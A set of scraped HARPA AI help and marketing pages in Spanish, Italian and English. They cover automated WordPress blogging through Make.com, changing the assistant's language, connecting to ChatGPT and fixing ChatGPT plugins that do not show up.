haz clic en "SETTINGS" para configurar el formato JSON apropiado para tu configuración de WordPress (por ejemplo, algunos sitios tienen campos de FAQ, algunos tienen campos de Q&A y otras características; el comando incluye una opción predeterminada): ![](https://harpa.ai/img/grid/wordpress-autoblogging-01.webp) También puedes personalizar la instrucción de Estilo especificando el número deseado de encabezados u otras características de texto que quieres ver en el resultado. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Sugerimos configurar GPT-o3-mini, Claude 3.7 Sonnet, o modelos similares como tu conexión predeterminada en HARPA, ya que estos modelos manejan eficazmente la generación de textos largos. ![](https://harpa.ai/img/grid/wordpress-autoblogging-02.webp) ### [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#configuraci%C3%B3n-de-plantilla-predise%C3%B1ada-(~3-5-min):) Configuración de Plantilla Prediseñada (~3-5 min): 1. Copia la [plantilla de Google Sheets](https://docs.google.com/spreadsheets/d/1z0SbkzbNLP8Rz8tYKlGdlnUV_Dwgx7b-ApKncXNWS4Q/edit?usp=sharing) a tu Google Drive para configurar tu escenario de Make.com más rápido. Si es necesario, puedes personalizar rápidamente la hoja de cálculo para adaptarla a tus requisitos específicos. 2. [Copia una plantilla prediseñada](https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13927) 3. Sigue la configuración guiada para configurar rápidamente todos los ajustes clave. ### [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#configuraci%C3%B3n-del-m%C3%B3dulo-wordpress-(~3-5-min):) Configuración del Módulo WordPress (~3-5 min): El módulo de WordPress viene con configuraciones predeterminadas, pero se recomienda la configuración manual ya que cada recurso tiene una estructura de sitio diferente. En nuestro ejemplo, estamos creando un cuerpo de texto, un slug de URL, un título h1 y una sección de FAQ. **Cómo conectar a tu WordPress:** * Activa el plugin Make.com Connector: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Ve al plugin en tu página de WordPress (esquina inferior izquierda), copia la clave API: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Pega la clave API en Make.com. La URL base de la API REST es tu sitio web con '_/wp-json/_' al final, por ejemplo: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * Verás parámetros predeterminados tomados del paso HARPA: Run AI Command. Si personalizaste el comando AI, simplemente ejecuta el escenario para obtener el resultado de Ejecución del Comando y arrastra los campos generados a tus celdas deseadas. Por ejemplo: ![](https://harpa.ai/img/grid/wordpress-autoblogging-06.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) La configuración estándar crea Borradores. Para publicar posts de inmediato, cambia el campo "Status" en el módulo de WordPress. ![](https://harpa.ai/img/grid/wordpress-autoblogging-09.webp) Una vez que configures el escenario, recuerda establecer la frecuencia de ejecución en Make.com para que compruebe regularmente los nuevos enlaces que has enviado a Google Sheets. ![](https://harpa.ai/img/grid/wordpress-autoblogging-07.webp) Establece una frecuencia conveniente para que se ejecute el escenario de IA y agrega enlaces de artículos a Google Sheets. El script automáticamente obtendrá nuevos enlaces y los procesará, creando borradores en tu blog de WordPress. ![](https://harpa.ai/img/grid/wordpress-autoblogging-08.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Si tienes algún problema, contáctanos en: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#%C2%BFqu%C3%A9-obtengo-como-resultado-de-este-escenario-de-ia?) ¿Qué obtengo como resultado de este escenario de IA? ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Obtienes borradores o publicaciones ya sea diariamente o según el programa que hayas establecido durante la configuración. ![](https://harpa.ai/img/grid/wordpress-autoblogging-10.webp) Una vez que agregues un enlace a Google Sheets, Make.com enviará una tarea a HARPA durante el próximo ciclo de ejecución, y escribirá una publicación. De esta manera, puedes agregar un número ilimitado de artículos a Sheets sin preocuparte por crear contenido de blog para tu sitio web. Sin embargo, no olvides ejecutar el comando AI por separado para escribir tus instrucciones específicas, como definir qué estilo de escritura debe utilizarse. ![](https://harpa.ai/img/grid/wordpress-autoblogging-01.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-change-harpa-ai-language-spanish) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/deepseek-api-not-working-spanish) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Come cambiare la lingua di HARPA AI. [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/globe-02.svg) Come cambiare la lingua di HARPA AI. ==================================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-italian#come-cambiare-la-lingua-di-risposta-dell'ia) Come cambiare la lingua di risposta dell'IA ------------------------------------------------------------------------------------------------------------------------------------------------------------ Sia la lingua di risposta dell'AI che la lingua dell'interfaccia possono essere modificate nelle impostazioni di HARPA AI, in cima alla lista delle impostazioni. ![](https://harpa.ai/img/chatml/trouble-lang.webp) 1. Apri le impostazioni di HARPA AI. 2. Fai clic sulla lista a tendina e seleziona una lingua. Se la tua lingua di risposta dell'AI non è presente nell'elenco, o desideri che l'AI utilizzi più lingue: * Seleziona l'opzione '**Custom**'. * Inserisci la tua lingua non elencata. [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-italian#come-aggiungere-un-pulsante-di-traduzione-a-qualsiasi-comando) Come aggiungere un pulsante di traduzione a qualsiasi comando ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ![](https://harpa.ai/img/blog/how-to-change-language-8.webp) 1. Seleziona un comando a cui vorresti aggiungere un pulsante di traduzione. 2. Fai clic su "**Duplicate and Edit**". ![](https://harpa.ai/img/blog/how-to-change-language-3.webp) 3. Aggiungi un passo ASK dopo un passo GPT nel comando duplicato. ![](https://harpa.ai/img/blog/how-to-change-language-4.webp) 4. Nel passo ASK, aggiungi una nuova opzione: "Translate to Spanish". Puoi aggiungere un emoji per metterla in evidenza. - label: 🇪🇸 TRANSLATE TO SPANISH value: translate ![](https://harpa.ai/img/blog/how-to-change-language-5.webp) 5. Aggiungi un nuovo passo GPT e configura la sua condizione per corrispondere al valore dell'opzione di traduzione scelto nel passo ASK. Nel nostro esempio, questo è: **{{change}} = translate**. Scrivi un prompt breve chiedendo di tradurre la risposta precedente in spagnolo. ![](https://harpa.ai/img/blog/how-to-change-language-6.webp) 6. Salva ed esegui il comando. Ora avrai una nuova opzione "**Translate to Spanish**". Fai clic su di essa per tradurre la risposta dell'AI. ![](https://harpa.ai/img/blog/how-to-change-language-7.webp) Alcuni comandi includono già passi ASK per apportare modifiche alle risposte generate dall'AI. Ad esempio, questo è il comando "Reply": ![](https://harpa.ai/img/blog/how-to-change-language-9.webp) Qui devi solo aggiungere un'opzione extra al passo ASK con un valore di opzione che contenga il seguente prompt: "Please translate your last response into Spanish while keeping the text structure, markdown features and other characteristics. Do not add any comments or general phrases before or after the translation." ![](https://harpa.ai/img/blog/how-to-change-language-10.webp) Il valore dell'opzione viene passato nel parametro {{change}}, e viene utilizzato dal passo GPT successivo, dove l'AI esegue l'azione specificata nel valore del parametro. ![](https://harpa.ai/img/blog/how-to-change-language-11.webp) Sentiti libero di condividere i tuoi comandi modificati nella Automation Library - [ecco come](https://harpa.ai/guides/command-library) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-use-harpa-ai-italian) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/no-cost-wordpress-automation-italian) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Connecting to ChatGPT [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/link-01.svg) Connecting to ChatGPT ===================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/chatgpt-web-session#how-to-connect-to-chatgpt) How to connect to ChatGPT ---------------------------------------------------------------------------------------------------- * Open HARPA on any website by clicking its' icon or pressing **Alt+A** or **^+A** on Mac. Make sure you're logged into your HARPA AI account. * Click the model switch on the bottom left, scroll down the list a bit, and select a ChatGPT connection in the web session connections section. * When you opt for the GPT-5.4 connection, your first request or command in the HARPA AI chat will automatically lead you to the ChatGPT login page. After this initial step, you'll seldom need to log in again. * If you're a ChatGPT Plus subscriber and don't initially see GPT-5.4 in the connection options, simply send any query or command with GPT-5 Nano, and the list of connections will update to include GPT-5.4. [\#](https://harpa.ai/blog/chatgpt-web-session#is-there-any-benefit-to-using-the-openai-api-key-over-the-browser-session?) Is there any benefit to using the OpenAI API key over the browser session? ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * API keys do not have any request limits and are used on a pay-as-you-go basis. * The API connection never disconnects you or logs you out, it is stable and reliable. [\#](https://harpa.ai/blog/chatgpt-web-session#how-to-create-a-chatgpt-account?) How to create a ChatGPT account? ------------------------------------------------------------------------------------------------------------------ 1. Go to [ChatGPT login page](https://chatgpt.com/auth/login) . 2. Register as a new user by clicking the Sign Up button. ChatGPT offers three options for new user registration: * Enter your email address to create a new account. * Use your Google account. Click the Continue with Google account option, and enter your Google account password to complete the process. * The third option is to use your Microsoft account. Click the Continue with Microsoft account button, enter your password, and complete the sign-up process. 3. ChatGPT will send a verification email to the registered email address. 4. Type your full name in the input box. 5. Enter your phone number. ChatGPT will send a verification code to your phone number. 6. Verify it by typing the code in the space provided. Finally, your ChatGPT account is ready to be used! [\#](https://harpa.ai/blog/chatgpt-web-session#how-to-get-a-chatgpt-plus?) How to get a ChatGPT Plus? ------------------------------------------------------------------------------------------------------ ChatGPT Plus users have access to GPT-5.4 models. To upgrade to ChatGPT Plus, follow these steps: * Log in to your ChatGPT account. * Click "Upgrade to Plus" on the left menu. * Select the [ChatGPT Plus](https://openai.com/blog/chatgpt-plus) upgrade plan. * Enter your bank details and set up a recurring payment of $20/month. * Click "Continue to ChatGPT Plus." [\#](https://harpa.ai/blog/chatgpt-web-session#more-guides) More Guides ------------------------------------------------------------------------ * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to GPTs](https://harpa.ai/blog/gpts-connection-in-harpa-ai) * [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) * [Connecting to Google Gemini](https://harpa.ai/blog/google-bard-connection) * [Connecting to OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/cloud-gpt-connection) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/claude-ai-connection) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix ChatGPT Plugins Not Showing Up [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix ChatGPT Plugins Not Showing Up ========================================= OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) To make the most of ChatGPT plugins, users need to install and activate them correctly. This is where many encounter a set of challenges. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#key-takeaways:) Key Takeaways: ---------------------------------------------------------------------------------------------------- * **Understanding the Plugin System**: ChatGPT's plugin system allows for enhanced functionality, but it's crucial to know how it works to troubleshoot effectively. * **Common Causes**: There are several reasons why plugins might not appear, from installation issues to compatibility problems. * **Solutions**: While the issue can be frustrating, there are multiple ways to address it and get your plugins up and running. * **Relevant Resources**: Tapping into the right resources, like tutorials and forums, can provide invaluable assistance. ![](https://harpa.ai/img/blog/blog21-1.webp) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#why-use-plugins?) Why Use Plugins? -------------------------------------------------------------------------------------------------------- ChatGPT's plugin system is designed to enhance the model's capabilities. These plugins can range from simple tools that provide additional information during conversations to complex integrations with third-party platforms. For instance, a weather plugin might fetch real-time weather data when a user inquires about the current conditions in a specific location. By integrating with other tools and platforms, users can create a more holistic and efficient AI-driven system. For businesses, this means better customer interactions, streamlined processes, and enhanced data analysis. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#common-causes) Common Causes -------------------------------------------------------------------------------------------------- There are several reasons why ChatGPT plugins might not appear in your interface: * **Improper Installation**: If the plugin isn't installed correctly, it won't show up. This could be due to a failed download, interruption during installation, or installing the wrong version. * **Compatibility Issues**: Not all plugins are compatible with every version of ChatGPT. If you're using an older version of the model, some newer plugins might not be supported. * **Browser Restrictions**: Some browsers have strict security protocols that might block certain plugins. It's essential to check if your browser is the culprit. * **Plugin Conflicts**: If you have multiple plugins installed, they might conflict with each other, causing some not to appear. For a visual guide on addressing these issues, consider checking out these YouTube tutorials: * [How to Fix ChatGPT Plugins Not Showing Up with ... - YouTube](https://www.youtube.com/watch?v=BUDp5XLeoNI) * [ChatGPT Plus - How To Enable And Install Plugins - YouTube](https://www.youtube.com/watch?v=UC51g2r_bWOQq-7Y-VwU9sYA) * [How to Use ChatGPT Plugins (Access, Enable plus Install Them) - YouTube](https://www.youtube.com/watch?v=TimHarrisVideoAI) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#solutions-to-the-problem) Solutions to the Problem ------------------------------------------------------------------------------------------------------------------------ Addressing the issue of plugins not showing up requires a systematic approach: * **Check the Installation**: Ensure that the plugin was downloaded and installed from a trusted source. Reinstalling might solve the problem. * **Update ChatGPT**: Ensure you're using the latest version of ChatGPT. Updating the model can resolve compatibility issues with newer plugins. * **Browser Settings**: Check your browser's security settings and see if it's blocking the plugin. Consider switching to another browser or adjusting the settings. * **Resolve Conflicts**: If you suspect that multiple plugins are conflicting, deactivate all plugins and activate them one by one to identify the culprit. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#how-to-enable-chatgpt-plugins) How to Enable ChatGPT Plugins ---------------------------------------------------------------------------------------------------------------------------------- Once you've subscribed to ChatGPT Plus, enabling plugins requires a few steps: 1. **Accessing Settings:** Open ChatGPT in a web browser and click on 'Settings' located in the bottom left corner. ![](https://harpa.ai/img/blog/blog21-2.webp) 2. **Navigating to Beta Features:** Within settings, select the 'Beta Features' option. ![](https://harpa.ai/img/blog/blog21-3.webp) 3. **Activating Plugins:** Toggle on the switch next to 'Plugins' in the prompt that appears. ![](https://harpa.ai/img/blog/blog21-4.webp) 4. **Installing Desired Plugins:** After enabling the beta feature, select the 'GPT-4' tab at the top. Below this tab, you'll find a section titled 'Plugins (Beta)'. Click on it, then choose 'Plugins Store'. From here, you can scroll through available plugins, installing those you wish to use. ![](https://harpa.ai/img/blog/blog21-5.webp) For a visual walkthrough, consider this [YouTube tutorial](https://www.youtube.com/watch?v=BUDp5XLeoNI) . [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#how-to-enable-chatgpt-chat-history) How to Enable ChatGPT Chat History -------------------------------------------------------------------------------------------------------------------------------------------- Chat history is crucial for plugins to function correctly. Here's how to enable it: 1. **Profile Access:** Click on your profile located in the bottom-right corner. 2. **Entering Settings:** Choose the 'Settings' option. 3. **Data Controls:** Navigate to 'Data Controls'. 4. **Enabling Chat History:** Activate the option labeled 'Chat history and training'. 5. **Refreshing:** Refresh your browser tab, then click on the 'GPT-4' tab. Your plugins should now be visible. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#troubleshooting-chatgpt-plugins) Troubleshooting ChatGPT Plugins -------------------------------------------------------------------------------------------------------------------------------------- If you've followed all the steps but still can't see the plugins, consider these troubleshooting techniques: 1. **Browser Cache:** Sometimes, the issue might stem from your browser. Before clearing the cache (which will log you out of ChatGPT), try closing and reopening your browser. If this doesn't work, clear your browser's cache. ![](https://harpa.ai/img/blog/blog18-2.webp) 2. **Extensions Conflict:** Disable browser extensions one by one to identify any that might be causing the plugins to disappear. 3. **Alternate Browser:** Try accessing ChatGPT using a different browser. 4. **Restart:** As a last resort, restart your computer. For more insights, this [YouTube guide](https://www.youtube.com/watch?v=UC51g2r_bWOQq-7Y-VwU9sYA) offers a comprehensive walkthrough. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#relevant-external-links) Relevant External Links ---------------------------------------------------------------------------------------------------------------------- To further understand the issue and potential solutions, consider these resources: 1. [OpenAI's Official Guide on ChatGPT Plugins](https://openai.com/blog/chatgpt-plugins) 2. [Reddit Discussion on ChatGPT Plugins](https://www.reddit.com/r/ChatGPT/comments/13ikdbg/just_got_browsing_access_but_no_plugins/) 3. [How to Use External Links with ChatGPT](https://www.reddit.com/r/ChatGPT/comments/14h0gcf/how_do_i_get_chat_gpt_to_view_external_links/) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides ---------------------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Google Search [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/serp.svg) ChatGPT for Google Search ========================= CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-google-search#chatgpt-for-google-search)  ChatGPT for Google Search --------------------------------------------------------------------------------------------------------- **The Future of Online Searching**: gone the days of scrolling through countless pages of irrelevant information. With the integration of ChatGPT into Google Search result pages, finding accurate and relevant information has never been easier. ![](https://harpa.ai/img/cases/illustration-serp.webp) HARPA.AI is a Chrome Extension that brings the power of ChatGPT to Google Search results, providing anyone with fast and precise answers to their questions. Not only does it display ChatGPT answers alongside Google Search results, but it also allows you to chat with the AI to get more information on a topic. This enhances the search experience by providing context to answers and allowing for further exploration and understanding of a subject. ### [##](https://harpa.ai/case/chatgpt-for-google-search#get-the-information-you-need,-faster-and-more-accurately)  Get the Information You Need, Faster and More Accurately With ChatGPT for Google Search, you can ask follow-up questions and receive answers, all within the same search result page. No more switching between tabs or scrolling through pages of irrelevant information. ![](https://harpa.ai/img/cases/illustration-serp-2.webp) This feature greatly improves upon traditional Google Search and provides a convenient and efficient way to find the information you need. ### [##](https://harpa.ai/case/chatgpt-for-google-search#how-to-use-chatgpt-with-google-search)  How to Use ChatGPT with Google Search To use ChatGPT with Google Search, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Search anything on Google**: When HARPA is installed, try Googling anything. HARPA.AI will show a ChatGPT generated response alongside Google Search results for you. ### [##](https://harpa.ai/case/chatgpt-for-google-search#revolutionizing-the-way-we-search-for-information-online)  Revolutionizing the Way We Search for Information Online Get started with ChatGPT for Google Search today and experience the future of online searching. Embrace the convenience and efficiency of this innovative technology and take your search experience to the next level. Beside the Google Search, HARPA also supports Baidu, Bing, DuckDuckGo, Brave, Yahoo, Naver, Yandex, Kagi and Searx search engines. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 3 Semplici Passaggi per Trasformare Qualsiasi Contenuto Web in un Blog WordPress [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) 3 Semplici Passaggi per Trasformare Qualsiasi Contenuto Web in un Blog WordPress ================================================================================ OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Se pubblichi fino a ~250 post al mese, puoi eseguire lo Scenario AI all'interno del Piano Gratuito di Make.com, che ti offre 1.000 operazioni al mese. [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#caratteristiche-dello-scenario) Caratteristiche dello Scenario ------------------------------------------------------------------------------------------------------------------------------- * Converti qualsiasi pagina web o video YouTube in una bozza di blog WordPress con un solo clic. * La tua bozza sarà automaticamente inviata al tuo WordPress. Se desideri pubblicare il post immediatamente, specifica semplicemente questa opzione durante la configurazione dello scenario - ti mostreremo dove farlo. * La configurazione base una tantum richiede ~5 minuti: personalizza il tuo stile, il markup (HTML o Markdown) e inserisci l'URL del tuo Webhook. Puoi modificare le impostazioni in qualsiasi momento. * Non hai bisogno di un account a pagamento [Make.com](https://www.make.com/en/pricing) . Puoi anche utilizzare altre risorse come [n8n](https://n8n.io/) o [Boost.Space](https://harpa.ai/grid/boost-space-connection-guide) , o inviare post direttamente a WordPress se hai plugin che accettano richieste API Post (ad esempio [FlowMattic](https://flowmattic.com/) . ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#modelli-preconfigurati:) Modelli preconfigurati: * [Comando AI: Autopubblicazione su WordPress in 1 Clic](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) * [Modello di Scenario Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#3-passaggi-per-configurare-il-tuo-flusso-di-lavoro) 3 Passaggi per Configurare il Tuo Flusso di Lavoro ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#configurazione-del-comando-ai-in-harpa-(~2-min):) Configurazione del Comando AI in HARPA (~2 min): 1. Importa il comando [Autopubblicazione su WordPress in 1 Clic](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) nel tuo HARPA. 2. Apri HARPA su qualsiasi pagina web, trova ed esegui il comando per completare la configurazione una tantum: Ti mostreremo la posizione dell'URL del Webhook nel prossimo capitolo. ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#configurazione-del-modello-make.com-(~2-min):) Configurazione del Modello Make.com (~2 min): 1. Copia un [Modello di Scenario Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) già pronto 2. Nel primo modulo, dovrai creare un webhook per il tuo HARPA dove verranno inviati i dati, e copiare l'URL in HARPA. ![](https://harpa.ai/img/grid/wordpress-1-click-post-01.webp) Non preoccuparti se hai accidentalmente chiuso il comando o inserito dati errati. Esegui semplicemente di nuovo il comando e seleziona l'opzione "CAMBIA URL WEBHOOK". ![](https://harpa.ai/img/grid/wordpress-1-click-post-02.webp) ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#configurazione-del-modulo-wordpress-(~3-5-min)) Configurazione del Modulo WordPress (~3-5 min) * Attiva il plugin Make.com Connector: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Vai al plugin nella tua pagina WordPress (angolo in basso a sinistra), copia la chiave API: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Incolla la chiave API in Make.com. L'URL base dell'API REST è il tuo sito web con '_/wp-json/_' alla fine, ad esempio: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * Il modulo WordPress include impostazioni predefinite, ma consigliamo la configurazione manuale se hai personalizzato il formato JSON. Esegui semplicemente il primo modulo e il tuo comando AI in qualsiasi finestra del browser per inviare dati di test. Esamina i risultati e trascina i campi generati 